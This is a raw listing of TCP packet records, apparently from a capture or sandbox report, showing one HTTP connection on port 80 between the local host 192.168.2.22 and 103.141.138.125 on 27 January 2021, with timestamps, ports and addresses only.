Jan 27, 2021 07:30:06.728959084 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.728960991 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.728977919 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.728985071 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.728995085 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.728998899 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729005098 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729012012 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729027987 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729043007 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729044914 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729051113 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729058027 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729063988 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729080915 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729084969 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729090929 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729096889 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729113102 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729125023 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729127884 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729139090 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729145050 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729146957 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729161024 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729166985 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729176044 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729177952 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729195118 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729196072 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729207993 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729221106 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729234934 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729238033 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729254007 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729255915 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729266882 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729269981 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729284048 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729290009 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729295969 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729300976 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729315996 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729326963 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729335070 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729337931 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729351044 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729352951 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729368925 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729377031 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729392052 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729399920 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729419947 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729439974 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729456902 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729464054 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729473114 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729475975 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729491949 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729496002 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729501963 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729513884 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729536057 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729536057 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729552031 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729557037 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729569912 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729573965 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729593039 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729594946 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729604959 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729609966 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729625940 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729629993 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729641914 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729649067 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729657888 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729660034 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729674101 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729679108 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729686022 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729688883 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729705095 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729712009 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729718924 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729727983 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729746103 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729751110 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729762077 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729762077 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729778051 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729784966 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729794025 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729799032 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729809999 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729815006 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729825974 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729825974 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729841948 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729840994 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729861021 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729861975 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729872942 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729878902 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729895115 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729899883 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729909897 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729917049 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729922056 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729926109 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729942083 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729948044 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729957104 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729959965 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729973078 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.729979038 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729989052 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.729991913 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730007887 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730010986 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730026960 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730031967 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730038881 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730042934 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730058908 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730066061 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730074883 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730074883 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730089903 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730092049 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730108023 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730118036 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730128050 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730128050 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730145931 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730145931 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730161905 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730168104 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730175018 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730178118 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730194092 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730200052 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730209112 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730215073 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730225086 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730232000 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730241060 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730247021 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730261087 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730262995 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730268955 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730278015 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730293989 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730299950 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730310917 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730317116 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730325937 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730325937 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730341911 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730349064 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730357885 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730364084 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730374098 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730380058 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730391979 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730392933 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730411053 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730411053 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730423927 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730427027 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730443954 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730449915 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730458021 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730458975 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730473042 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730473995 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730489969 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730498075 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730504990 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730509043 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730524063 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730526924 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730532885 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730540991 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730557919 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730561972 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730573893 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730576992 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730588913 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730595112 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730616093 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730621099 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730631113 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730632067 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730647087 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730657101 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730664968 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730668068 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730680943 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730684042 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730698109 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730700016 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730714083 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730715036 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730729103 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730741024 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730745077 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730748892 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730760098 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730765104 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730792046 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730793953 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730811119 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730811119 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730818033 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730829954 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730844975 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730850935 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730861902 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730865955 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730873108 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730876923 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730892897 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730900049 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730909109 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730914116 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730921984 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730925083 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730943918 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730948925 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730959892 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730961084 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730977058 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.730978966 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730993986 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.730998993 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731009007 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731014967 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731030941 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731038094 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731046915 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731050968 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731060982 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731062889 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731084108 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731085062 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731096029 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731101036 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731117010 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731122971 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731132984 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731137037 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731148958 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731156111 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731163025 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731163979 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731178045 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731179953 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731195927 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731201887 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731211901 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731214046 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731228113 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731231928 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731247902 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731255054 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731262922 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731270075 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731277943 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731280088 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731295109 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731295109 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731311083 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731317997 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731327057 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731328964 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731344938 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731344938 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731352091 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731364012 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731379986 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731385946 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731395960 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731396914 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731411934 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731415987 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731429100 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731432915 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731443882 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731443882 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731460094 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731467009 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731479883 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731482029 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731492996 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731497049 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731513023 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731520891 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731527090 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731528044 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731544018 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731550932 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731561899 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731561899 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731576920 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731581926 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731592894 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731611013 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731627941 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731642962 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731647968 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731654882 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731657982 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731668949 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731673956 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731683969 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731689930 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731693029 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731705904 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731709957 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731720924 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731720924 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731740952 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731740952 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731756926 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731758118 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731769085 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731774092 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731791019 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731796980 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731806040 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731812000 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731822014 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731829882 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731838942 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731842041 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731854916 CET	80	49165	103.141.138.125	192.168.2.22
Jan 27, 2021 07:30:06.731858969 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731877089 CET	49165	80	192.168.2.22	103.141.138.125
Jan 27, 2021 07:30:06.731888056 CET	49165	80	192.168.2.22	103.141.138.125
